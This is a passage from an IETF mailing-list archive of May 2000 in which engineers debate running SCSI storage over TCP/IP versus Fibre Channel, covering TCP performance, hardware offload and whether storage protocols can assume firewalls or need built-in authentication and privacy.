 >> protocol, which I am told was introduced many years ago by Cisco?

  Companies to look at include:

     nishansystems.com
     interprophet.com
     san.com
     arkresearch.com

  Also, I believe that the IETF IP over FC working group is now
looking at FC over IP.



dave...........

David Nagle
Director, Parallel Data Lab
Senior Reseach Computer Scientist
School of Computer Science
Carnegie Mellon University
Pittsburgh, PA 15213
412-268-3898 (office)
412-268-3890 (fax)
http://www.ece.cmu.edu/~bassoon


- ------- End of Forwarded Message




From owner-ietf-outbound  Fri May 26 10:30:38 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA16324
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 10:30:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16191
	for <ietf@ietf.org>; Fri, 26 May 2000 10:23:07 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id KAA28467;
        Fri, 26 May 2000 10:23:06 -0400 (EDT)
Message-Id: <200005261423.KAA28467@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: "Jon William Toigo" <jtoigo@IntNet.net>
cc: ietf@ietf.org
Subject: Re: Storage over Ethernet/IP 
In-reply-to: Your message of "Thu, 25 May 2000 17:52:14 EDT."
             <06d001bfc693$7f18ff20$dd9cfea9@jtoigo> 
Date: Fri, 26 May 2000 10:23:06 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

None of the cited limitations of TCP performance are true.
they are also missing the point.

If you're going to run storage access over IP then you are potentially
allowing it to be run over the global Internet.  If you do that you need
good authentication and privacy, and (if you try to do them in software)
authentication and encyption will eat far more in performance than 
anything inherent to TCP or IP.

and no, it's not acceptable to assume that the storage device will be 
behind a firewall.

Keith



From owner-ietf-outbound  Fri May 26 10:40:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA16676
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 10:40:02 -0400 (EDT)
Received: from c014.sfo.cp.net (c014-h014.c014.sfo.cp.net [209.228.12.78])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA16432
	for <ietf@ietf.org>; Fri, 26 May 2000 10:31:29 -0400 (EDT)
From: narakamath@lightel.com
Received: (cpmta 20698 invoked from network); 26 May 2000 07:30:59 -0700
Date: 26 May 2000 07:30:59 -0700
Message-ID: <20000526143059.20697.cpmta@c014.sfo.cp.net>
X-Sent: 26 May 2000 14:30:59 GMT
Received: from [198.102.173.112] by mail.lightel.com with HTTP;
    26 May 2000 07:30:58 PDT
Content-Type: text/plain
Content-Disposition: inline
Mime-Version: 1.0
To: bassoon@yogi.ece.cmu.edu
Cc: jtoigo@INTNET.NET, ietf@ietf.org, ips@ece.cmu.edu
X-Mailer: Web Mail 3.6.3.1
Subject: Re: IETF mailing list question on Storage over Ethernet/IP
X-Loop: ietf@ietf.org

Thank you all for some excellent discussions on the subject.  For all the reasons mentioned, I am mapping TCP/IP to DWDM to create very high performance SANs.  I hope to share more on this as we progress and launch products.  You can see more on this at www.lightel.com.

On Fri, 26 May 2000, Dave Nagle wrote:

> 
> 
> A few comments about this one.
> 
> 1. FC does not provide reliable transmission.  It provides for error
> detection, but escalates recovery to "upper level protocol".  FCP-2 has
> improved this situation, but is not widely implemented yet.  One of the
> advantages of using a transport such as TCP is that link errors will be
> corrected in a manner that is transparent to the application protocol
> (SCSI).
> 
> 2. Jumbo frames will not be necessary when TCP is implemented in hardware.
> Most FC implementations use 1024 byte frames, and performance is very
> adequate, given hardware implementation of FCP.
> 
> 3. The cost of using different transport protocols in the LAN and WAN is
> that the two will not interoperate.  Many of us believe that TCP has proven
> itself in both the LAN and WAN.  I bet your PC or UN*X workstation is using
> TCP for all its protocol needs.
> 
> 4. The IPS working group is mapping SCSI to TCP.  Another working group is
> mapping FC to IP.  These are very different approaches.  The first (ours)
> preserves SCSI, but does not include any vestige of Fibre Channel.  It is
> intended for use in the LAN, MAN and WAN.  Its best use is for connecting
> hosts computers to storage controllers using Ethernet and IP WAN technology.
> It will be possible, but non-trivial, to translate between SCSI over TCP/IP
> and SCSI over Fibrechannel.  The second is a tunneling scheme for extending
> Fibre Channel over the IP WAN.  It does not contemplate Ethernet-based hosts
> or storage controllers.
> 
> 5. Just about any reliable transport will do nicely for transporting SCSI
> commands.  We chose TCP because its implementation and behavior are
> well-known, and it is well-supported with load-balancing, QoS and security
> features.  While another protocol (such as reliable datagram) might be
> arguably better suited to storage transport applications, we'll use TCP
> "because it's there".  We'll have the benefit of all the other investment
> that's going into improving TCP for internet uses.
> 
> Randy Haagens
> Networked Storage Architecture
> Storage Organization
> Hewlett-Packard Co.
> e-mail: Randy_Haagens@hp.com
> tel: +1 916 785 4578
> fax: +1 916 785 1911
> 
> 
> > -----Original Message-----
> > From: Dave Nagle [mailto:bassoon@yogi.ece.cmu.edu]
> > Sent: Thursday, May 25, 2000 4:29 PM
> > To: SCSI-over-TCP List
> > Subject: IETF mailing list question on Storage over Ethernet/IP 
> > 
> > 
> > 
> > ------- Forwarded Message
> > 
> > Date:    Thu, 25 May 2000 19:27:02 -0400
> > From:    Dave Nagle <bassoon@yogi.ece.cmu.edu>
> > To:      "Jon William Toigo" <jtoigo@IntNet.net>
> > cc:      ietf@ietf.org
> > Subject: Re: Storage over Ethernet/IP 
> > 
> > Jon,
> > 
> > Original Message
> > - ----------------
> >  >> I am seeking a few points of clarification:
> >  >> 
> >  >> 1.  Fibre Channel folks have attempted to explain to me 
> > why TCP/IP could =
> >  >> NEVER be a viable interconnect for block level storage 
> > operations.  They =
> >  >> claim:
> >  >> a.  TCP is too CPU intensive and creates too much latency 
> > for storage =
> >  >> I/O operations.
> >  >> b.  The IP stack is too top heavy and processing packet 
> > headers is too =
> >  >> slow to support storage I/O operations.
> > 
> >   There is a lot of work to show that this is not true.  Check out Van
> > Meter's 1998 ASPLOS paper "VISA - Netstations virtual internet SCSI
> > adaptor."
> > 
> >  Perhaps more importantly, there are many companies that are building
> > TCP in silicon ASICs.  This should make TCP's performance comparable
> > to Fibre Channel.  Both TCP/IP and FC provide about the same
> > functionality ... reliable, in-order transmission.  
> > 
> > The bottom line is that FC is done in hardware while TCP has
> > traditionally been done in software. Therefore, previous performance
> > numbers are not going to be fair.  Once TCP is in silicon, its
> > performance should be roughly equal to FC.
> > 
> >  >> c.  The maximum throughput of a GE TCP/IP connection is 
> > 768 Mps, which =
> >  >> is too slow to support storage I/O operations.
> > 
> >  I believe there are higher numbers (especially with Jumbo
> > Frames). Alteon's web site show's 920 Mbps.  Microsoft and Duke
> > University have both shown TCP performance o 1Gb+/s performance over
> > other networks.
> > 
> >   BTW, why is 768 Mbps too slow for storage.  Many apps (e.g.,
> > transaction workloads) are I/O's per second bound, not bandwidth
> > bound.  Also, even if storage over IP/ether is a bit slower than FC,
> > the benefits of leveraging IP's infrastructure (i.e., routers,
> > switches, NICs, network management, networking people) is a huge
> > advantage.  
> > 
> >  There is also the issue of SCSI over TCP/IP in the SAN vs. the
> > LAN/WAN.  Some companies, focusing on the SAN, are building
> > SCSI/lightweight transport/IP while others, focusing on the WAN,
> > propose SCSI/TCP/IP.  It may be the case that SAN and WAN traffic use
> > different transport protocols to gain a bit of extra performance in
> > the SAN.  
> > 
> >  >> Is any of this true?
> >  >> 
> >  >> 2.  Adaptec has posited a replacement for TCP called STP 
> > for use as a =
> >  >> transport for storage.  Does anyone know anything about this?
> > 
> >     From Paul von Stamwitz's posting to the ips mailing list ...
> >    
> >       The link to the SEP draft is
> >       http://www.ietf.org/internet-drafts/draft-wilson-sep-00.txt
> >    
> >       The press release is at:
> >     http://www.adaptec.com/adaptec/press/release000504.html
> >    
> >     The demo shows a Gb ethernet controller transporting SCSI 
> > traffic to several
> >     targets through an off-the-shelf 100TX switch with a Gb  
> > uplink. The targets
> >     are ethernet to U160 SCSI bridges with one or more SCSI  
> > drives attached. The
> >     host controller runs under NT4.0 at appears to the OS as 
> > a  SCSI host bus
> >     adapter.
> >    
> >     The architecture is based on Adaptec's SCSI Encapsulation Protocol
> >     (SEP).  SEP is mapped on top of TCP/IP or a light-weight transport
> >     protocol specifically designed for SANs.
> >     
> >     An SEP overview was presented at the IPS BOF in Adelaide 
> > last  month and an
> >     internet draft on SEP was submitted to IETF this week. I 
> > will  forward the
> >     link as soon as it becomes available. This draft is informational
> >     only and intended to aid in this group's work toward an industry
> >     standard SCSI transport protocol over IP networks.
> > 
> > 
> >  >> 3.  Current discussions of the SCSI over IP protocol seem 
> > to ignore the =
> >  >> issue of TCP or any other transport protocol.  Does anyone know =
> >  >> definitively what transport is being suggested by the 
> > IBM/Cisco crowd?
> > 
> >    Current SCSI over IP discussions are not ignoring TCP ... they are
> >    definitely considering TCP as the primary transport.  See the ips
> >    web site at:
> >  
>      http://www.ece.cmu.edu/~ips
> 
>  >> 
>  >> 4.  Another storage company is looking at Reliable UDP as a substitute =
>  >> for TCP in storage data transfers.  Where can I learn more about this =
>  >> protocol, which I am told was introduced many years ago by Cisco?
> 
>   Companies to look at include:
> 
>      nishansystems.com
>      interprophet.com
>      san.com
>      arkresearch.com
> 
>   Also, I believe that the IETF IP over FC working group is now
> looking at FC over IP.
> 
> 
> 
> dave...........
> 
> David Nagle
> Director, Parallel Data Lab
> Senior Reseach Computer Scientist
> School of Computer Science
> Carnegie Mellon University
> Pittsburgh, PA 15213
> 412-268-3898 (office)
> 412-268-3890 (fax)
> http://www.ece.cmu.edu/~bassoon
> 
> 
> - ------- End of Forwarded Message




From owner-ietf-outbound  Fri May 26 10:50:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA16869
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 10:50:03 -0400 (EDT)
Received: from corpnt3.born.com (corpnt3.born.com [206.10.207.66])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16714
	for <ietf@ietf.org>; Fri, 26 May 2000 10:41:02 -0400 (EDT)
From: Brian.Rubarts@born.com
Received: by CORPNT3 with Internet Mail Service (5.5.2650.21)
	id <LSP7BT3Y>; Fri, 26 May 2000 09:40:32 -0500
Message-ID: <A427D1278F7CD311B1670008C7FAA62AC89F1E@CORPNT3>
To: moore@cs.utk.edu
Cc: ietf@ietf.org
Subject: RE: Storage over Ethernet/IP 
Date: Fri, 26 May 2000 09:40:28 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Loop: ietf@ietf.org

Encryption will be offloaded to the network interface.  ASICs on the NICs
will greatly improve encryption and authentication performance.  It won't
run over the Internet because of latencies inherent on the public network.
It will run over incredibly fast Packet over SONET Wide Area
Networks--behind firewalls.  OC-192 and soon-to-come OC-768 (terrabit)
switches will be the backbone of WANs and MANs of large networks in a few
years.  Also, IPv6 has significantly improved authentication capabilities
that will help ensure security on the Storage WAN (SWAN?)

Brian

-----Original Message-----
From: Keith Moore [mailto:moore@cs.utk.edu]
Sent: Friday, May 26, 2000 9:23 AM
To: Jon William Toigo
Cc: ietf@ietf.org
Subject: Re: Storage over Ethernet/IP 


None of the cited limitations of TCP performance are true.
they are also missing the point.

If you're going to run storage access over IP then you are potentially
allowing it to be run over the global Internet.  If you do that you need
good authentication and privacy, and (if you try to do them in software)
authentication and encyption will eat far more in performance than 
anything inherent to TCP or IP.

and no, it's not acceptable to assume that the storage device will be 
behind a firewall.

Keith



From owner-ietf-outbound  Fri May 26 11:10:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA17357
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 11:10:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17165
	for <ietf@ietf.org>; Fri, 26 May 2000 11:01:23 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id LAA28909;
        Fri, 26 May 2000 11:01:21 -0400 (EDT)
Message-Id: <200005261501.LAA28909@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Brian.Rubarts@born.com
cc: moore@cs.utk.edu, ietf@ietf.org
Subject: Re: Storage over Ethernet/IP 
In-reply-to: Your message of "Fri, 26 May 2000 09:40:28 CDT."
             <A427D1278F7CD311B1670008C7FAA62AC89F1E@CORPNT3> 
Date: Fri, 26 May 2000 11:01:21 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> Encryption will be offloaded to the network interface.  ASICs on the NICs
> will greatly improve encryption and authentication performance.

all well and good, provided that this encryption and authentication
are actually compatible with that specified by higher level protocols
and the authentication actually meets the needs of users.  
(if your network interface needs to use and verify users' credentials,
as opposed to the host's credentials, it might be a stretch.)

> It won't run over the Internet because of latencies inherent on the 
> public network.

at least for some storage applications, latency is not as important
as bandwidth.  e.g. you can do backups over a high-latency medium
as long as your bandwidth is adequate (though recovery from write 
errors gets a bit tricky).

> It will run over incredibly fast Packet over SONET Wide Area
> Networks--behind firewalls.

I'm sure it will be used behind firewalls in some cases but it's 
inappropriate to assume that it will always be used behind firewalls.
Firewalls don't help with the majority of security threats, and
it's less and less the case that network topologies reflect
trust domains.

Keith



From owner-ietf-outbound  Fri May 26 11:20:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA17786
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 11:20:02 -0400 (EDT)
Received: from corpnt3.born.com (corpnt3.born.com [206.10.207.66])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17511
	for <ietf@ietf.org>; Fri, 26 May 2000 11:14:44 -0400 (EDT)
From: Brian.Rubarts@born.com
Received: by CORPNT3 with Internet Mail Service (5.5.2650.21)
	id <LSP7BT97>; Fri, 26 May 2000 10:14:14 -0500
Message-ID: <A427D1278F7CD311B1670008C7FAA62AC89F1F@CORPNT3>
To: moore@cs.utk.edu
Cc: ietf@ietf.org
Subject: RE: Storage over Ethernet/IP 
Date: Fri, 26 May 2000 10:14:03 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Loop: ietf@ietf.org


>> Encryption will be offloaded to the network interface.  ASICs on the NICs
>> will greatly improve encryption and authentication performance.

>all well and good, provided that this encryption and authentication
>are actually compatible with that specified by higher level protocols
>and the authentication actually meets the needs of users.  
>(if your network interface needs to use and verify users' credentials,
>as opposed to the host's credentials, it might be a stretch.)

A network server will still authenticate user requests.  Only the host
needs to be authenticated with the disk/disks.

>> It won't run over the Internet because of latencies inherent on the 
>> public network.

>at least for some storage applications, latency is not as important
>as bandwidth.  e.g. you can do backups over a high-latency medium
>as long as your bandwidth is adequate (though recovery from write 
>errors gets a bit tricky).

Backups could go through VPNs, I suppose.  Good point.  That would free your

WAN of the backup jobs.  I wasn't thinking of backups when I ruled out
the Internet as a disk I/O medium.  I suppose infrequently used and low
priority files could also be accessed over the 'net.

>> It will run over incredibly fast Packet over SONET Wide Area
>> Networks--behind firewalls.

>...it's 
>inappropriate to assume that it will always be used behind firewalls...

If the larger network that is employing this technology doesn't hire a
decent
consultant, you might be right.  If they do, it will ALWAYS be behind a
firewall :-)

>Firewalls don't help with the majority of security threats...

True, but whether the server accesses the disks via SCSI over TCP or SCSI
over 
Fibre Channel, the SERVER is still the weak link.  The transport protocol
doesn't
create any inherent weaknesses of the type you are refering to--e-mail borne
viruses, 
internal hackers, etc.  The server would still be the attack point.  Why
goodness, 
the server and storage devices could be in a VLAN or something to deny
direct hack 
attempts against the storage device, but the chink in the armor is how
hardened is
your OS?

Brian



From owner-ietf-outbound  Fri May 26 11:40:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA18443
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 11:40:03 -0400 (EDT)
Received: from npax.cavebear.com (npax.cavebear.com [192.203.17.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18271
	for <ietf@ietf.org>; Fri, 26 May 2000 11:33:10 -0400 (EDT)
Received: from localhost (karl@localhost)
	by npax.cavebear.com (8.9.3/8.8.7) with ESMTP id IAA28711;
	Fri, 26 May 2000 08:32:05 -0700
Date: Fri, 26 May 2000 08:32:05 -0700 (PDT)
From: Karl Auerbach <karl@CaveBear.com>
Reply-To: Karl Auerbach <karl@CaveBear.com>
To: Jon William Toigo <jtoigo@IntNet.net>
cc: ietf@ietf.org
Subject: Re: Storage over Ethernet/IP
In-Reply-To: <06d001bfc693$7f18ff20$dd9cfea9@jtoigo>
Message-ID: <Pine.LNX.4.21.0005260827310.28670-100000@npax.cavebear.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

 
> a.  TCP is too CPU intensive and creates too much latency for storage I/O operations.
> 
> b.  The IP stack is too top heavy and processing packet headers is too
> slow to support storage I/O operations.

There were some papers published duing the late '80's or early '90s by
John Romkey and I belive Dave Clark and Van Jacobson about the length of
instruction sequences to handle TCP.  I'm not sure that those ever became
RFCs.

Those papers came up with figures indicating that if one structures code
"correctly" and if the net path is "clean" (i.e. not a lot of packet loss,
reordering, replication, etc) than the per-packet instruction sequences
(sans IP checksum calculation) were potantially very short.

Does anyone have the references to these papers?

		--karl--






From owner-ietf-outbound  Fri May 26 11:50:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA18622
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 11:50:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18279
	for <ietf@ietf.org>; Fri, 26 May 2000 11:33:18 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id LAA29358;
        Fri, 26 May 2000 11:33:17 -0400 (EDT)
Message-Id: <200005261533.LAA29358@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Brian.Rubarts@born.com
cc: moore@cs.utk.edu, ietf@ietf.org
Subject: Re: Storage over Ethernet/IP 
In-reply-to: Your message of "Fri, 26 May 2000 10:14:03 CDT."
             <A427D1278F7CD311B1670008C7FAA62AC89F1F@CORPNT3> 
Date: Fri, 26 May 2000 11:33:17 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> >> It won't run over the Internet because of latencies inherent on the 
> >> public network.
> 
> >at least for some storage applications, latency is not as important
> >as bandwidth.  e.g. you can do backups over a high-latency medium
> >as long as your bandwidth is adequate (though recovery from write 
> >errors gets a bit tricky).
> 
> Backups could go through VPNs, I suppose.  

except that you can't assume the presence of a VPN either.  you need 
authenticity and privacy specified as part of the storage access protocol.

> I suppose infrequently used and low
> priority files could also be accessed over the 'net.

yes, but file access protocols are better for this purpose.  
I don't see wanting to mount a raw disk drive 
across the public Internet very often.  
(except perhaps read-only... virtual cdrom, anyone?)

> >> It will run over incredibly fast Packet over SONET Wide Area
> >> Networks--behind firewalls.
> 
> >...it's 
> >inappropriate to assume that it will always be used behind firewalls...
> 
> If the larger network that is employing this technology doesn't hire a
> decent consultant, you might be right.  If they do, it will ALWAYS 
> be behind a firewall :-)

any consultant who pretends that firewalls provide security cannot
be described as 'decent'.

> >Firewalls don't help with the majority of security threats...
> 
> True, but whether the server accesses the disks via SCSI over TCP or SCSI
> over Fibre Channel, the SERVER is still the weak link.  

un, no.  SCSI has some inherent length/delay/number-of-stations 
limitations.  but if the disk is accessible using TCP,  there is a 
significant probability that it will be accessible from the global 
Internet and/or from local threats who have physical access to the
transmission medium, and the storage access protocol needs to assume 
that this is the case.

> The transport protocol doesn't create any inherent weaknesses of 
> the type you are refering to--e-mail borne viruses, internal hackers, etc.  

you're assuming a different threat model than I am.  I am indeed
assuming that storage devices will be targed, in addition to servers.

> The server would still be the attack point.  Why goodness, 
> the server and storage devices could be in a VLAN or something to deny
> direct hack attempts against the storage device

yes, they *could* be.  but you cannot assume that they *will* be.

> but the chink in the armor is how hardened is your OS?

there's more than one chink in the armor.

IP-based protocols need to be able to work in the global Internet.

Keith



From owner-ietf-outbound  Fri May 26 12:00:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA18886
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 12:00:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18321
	for <ietf@ietf.org>; Fri, 26 May 2000 11:35:56 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e4QFZt926132;
	Fri, 26 May 2000 11:35:55 -0400
Message-Id: <200005261535.e4QFZt926132@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.1 10/15/1999
To: Brian.Rubarts@born.com
cc: moore@CS.UTK.EDU, ietf@ietf.org
Subject: Re: Storage over Ethernet/IP 
In-reply-to: Your message of "Fri, 26 May 2000 10:14:03 CDT."
             <A427D1278F7CD311B1670008C7FAA62AC89F1F@CORPNT3> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <A427D1278F7CD311B1670008C7FAA62AC89F1F@CORPNT3>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 26 May 2000 11:35:54 -0400
X-Loop: ietf@ietf.org

On Fri, 26 May 2000 10:14:03 CDT, Brian.Rubarts@born.com said:
> A network server will still authenticate user requests.  Only the host
> needs to be authenticated with the disk/disks.

Hmm.  

Isn't this security model the cause of most grumbling regarding NFS security?

> If the larger network that is employing this technology doesn't hire a decent
> consultant, you might be right.  If they do, it will ALWAYS be behind a firewall :-)

Double Hmm.. 

Odd.. I thought we had a clue about security.  The guys at SANS just
gave us a 'Technology Leadership Award'.  I just walked across the hallway,
and I didn't see any firewall in our router swamp.

I guess because we don't have a firewall, we don't have a clue.  Or because
we don't have a firewall, we can't deploy this technology.  Somehow, that
doesn't smell right.

> the server and storage devices could be in a VLAN or something to deny direct hack 
> attempts against the storage device, but the chink in the armor is how hardened is
> your OS?

If your OS is hardened enough, a firewall may not be appropriate.

"New from Kellogs - Firewalls cereal - part of this *COMPLETE* and *BALANCED*
security breakfast".
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech




From owner-ietf-outbound  Fri May 26 12:10:06 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA19120
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 12:10:02 -0400 (EDT)
Received: from inner.net (avarice.inner.net [199.33.248.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18736
	for <ietf@ietf.org>; Fri, 26 May 2000 11:53:57 -0400 (EDT)
Received: from wasp.inet.org ([216.52.8.30])
	by inner.net (8.7.6/8.9.3) with ESMTP id PAA05244;
	Fri, 26 May 2000 15:45:22 GMT
Message-Id: <4.2.0.58.20000526114819.0097dba0@avarice.inner.net>
X-Sender: rja@avarice.inner.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 26 May 2000 11:53:30 +0100
To: Brian.Rubarts@born.com
From: RJ Atkinson <rja@inet.org>
Subject: RE: Storage over Ethernet/IP 
Cc: ietf@ietf.org
In-Reply-To: <A427D1278F7CD311B1670008C7FAA62AC89F1E@CORPNT3>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 15:40 26-05-00 , Brian.Rubarts@born.com wrote:
>It will run over incredibly fast Packet over SONET Wide Area
>Networks--behind firewalls.  OC-192 and soon-to-come OC-768 (terrabit)
>switches will be the backbone of WANs and MANs of large networks in a few
>years.

         I'll note that at least one vendor has already demonstrated
10 Gig Ethernet switch interfaces at Interop/LV earlier this month.
Such 10 GE boxes are generally much less expensive than OC-192 POS boxes.
Another post indicated that these systems will use frame sizes of 1024 bytes,
which is well within the abilities of any Ethernet interface.

>Also, IPv6 has significantly improved authentication capabilities
>that will help ensure security on the Storage WAN (SWAN?)

         IPv6 has NO authentication capability not already shipping for IPv4,
speaking as the person who designed both AH and ESP.  Marketing aside,
there is nothing in IPv6 that makes it more easily secured than IPv4.
Both support AH and ESP.  Deployed ISAKMP/IKE support IPv4, but might
not support IPv6.

         Note that I have no axe to grind for or against IPv6, but the
disinformation campaign that "IPv6 is secure and IPv4 isn't" is
highly annoying and completely wrong.

Ran
rja@inet.org



From owner-ietf-outbound  Fri May 26 12:20:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA19317
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 12:20:02 -0400 (EDT)
Received: from corpnt3.born.com (corpnt3.born.com [206.10.207.66])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18779
	for <ietf@ietf.org>; Fri, 26 May 2000 11:56:02 -0400 (EDT)
From: Brian.Rubarts@born.com
Received: by CORPNT3 with Internet Mail Service (5.5.2650.21)
	id <LSP7B4Q9>; Fri, 26 May 2000 10:55:32 -0500
Message-ID: <A427D1278F7CD311B1670008C7FAA62AC89F20@CORPNT3>
To: Valdis.Kletnieks@vt.edu
Cc: ietf@ietf.org
Subject: RE: Storage over Ethernet/IP 
Date: Fri, 26 May 2000 10:55:29 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Loop: ietf@ietf.org

>Odd.. I thought we had a clue about security.  The guys at SANS just
>gave us a 'Technology Leadership Award'.  I just walked across the hallway,
>and I didn't see any firewall in our router swamp.
>I guess because we don't have a firewall, we don't have a clue.  Or because
>we don't have a firewall, we can't deploy this technology.  Somehow, that
>doesn't smell right.
>If your OS is hardened enough, a firewall may not be appropriate.

I am not saying that you don't have a clue if you don't utilize a firewall.

I AM saying that if you have Internet access to your network, a firewall is 
extremely important.  It isn't complete, in and of itself.  OS hardening is
still very important, as are other technologies (as necessary to facilitate
application needs).  

I understand your point that if your OS is perfectly hardened, then a
firewall
isn't going to add any *extra* protection.  You miss the point, though.  You
can prevent
unnecessary processor and bandwidth utilization on the server by filtering
it out at the perimeter of your network.  You might not get a security
advantage
if you are an OS hardening god, but you would CERTAINLY get performance
increases
on your LAN.  

If you are utilizing pure access lists on routers for perimeter security,
then
you are assuming that this technology is as adept at securing a network as 
port filters combined with Network Address Translation or cicuit proxying.
Don't
make that assumption.  

Brian



From owner-ietf-outbound  Fri May 26 12:30:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA19490
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 12:30:02 -0400 (EDT)
Received: from corpnt3.born.com (corpnt3.born.com [206.10.207.66])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18839
	for <ietf@ietf.org>; Fri, 26 May 2000 11:58:02 -0400 (EDT)
From: Brian.Rubarts@born.com
Received: by CORPNT3 with Internet Mail Service (5.5.2650.21)
	id <LSP7B4R4>; Fri, 26 May 2000 10:57:33 -0500
Message-ID: <A427D1278F7CD311B1670008C7FAA62AC89F21@CORPNT3>
To: joel@mcquillan.com
Cc: ietf@ietf.org
Subject: RE: Storage over Ethernet/IP 
Date: Fri, 26 May 2000 10:57:25 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Loop: ietf@ietf.org

>Experience tells us that although we can design and specify for 
>"intra-nets", people will insist on using the results over the public 
>internet.  Pretending this will not happen is akin to burying ones head in 
>the beach sand when one has heard a report of a large wave heading for the 
>beach.

Yeah, okay.  I will grant that.  But, should a good technology be nixed
because some idiots might mis-use it?  I personally don't think so.

Brian



From owner-ietf-outbound  Fri May 26 12:40:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA19799
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 12:40:03 -0400 (EDT)
Received: from corpnt3.born.com (corpnt3.born.com [206.10.207.66])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA18998
	for <ietf@ietf.org>; Fri, 26 May 2000 12:02:05 -0400 (EDT)
From: Brian.Rubarts@born.com
Received: by CORPNT3 with Internet Mail Service (5.5.2650.21)
	id <LSP7B4TL>; Fri, 26 May 2000 11:01:35 -0500
Message-ID: <A427D1278F7CD311B1670008C7FAA62AC89F22@CORPNT3>
To: rja@inet.org
Cc: ietf@ietf.org
Subject: RE: Storage over Ethernet/IP 
Date: Fri, 26 May 2000 11:01:27 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Loop: ietf@ietf.org

>IPv6 has NO authentication capability not already shipping for IPv4,
>speaking as the person who designed both AH and ESP.  Marketing aside,
>there is nothing in IPv6 that makes it more easily secured than IPv4.
>Both support AH and ESP.  Deployed ISAKMP/IKE support IPv4, but might
>not support IPv6.

I must admit my error in that statement.  I was reciting something that 
I had read a year ago.  You are correct about AH and ESP
in IPv4 as well as v6.  Thanks for the correction.

Brian




From owner-ietf-outbound  Fri May 26 12:50:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA19987
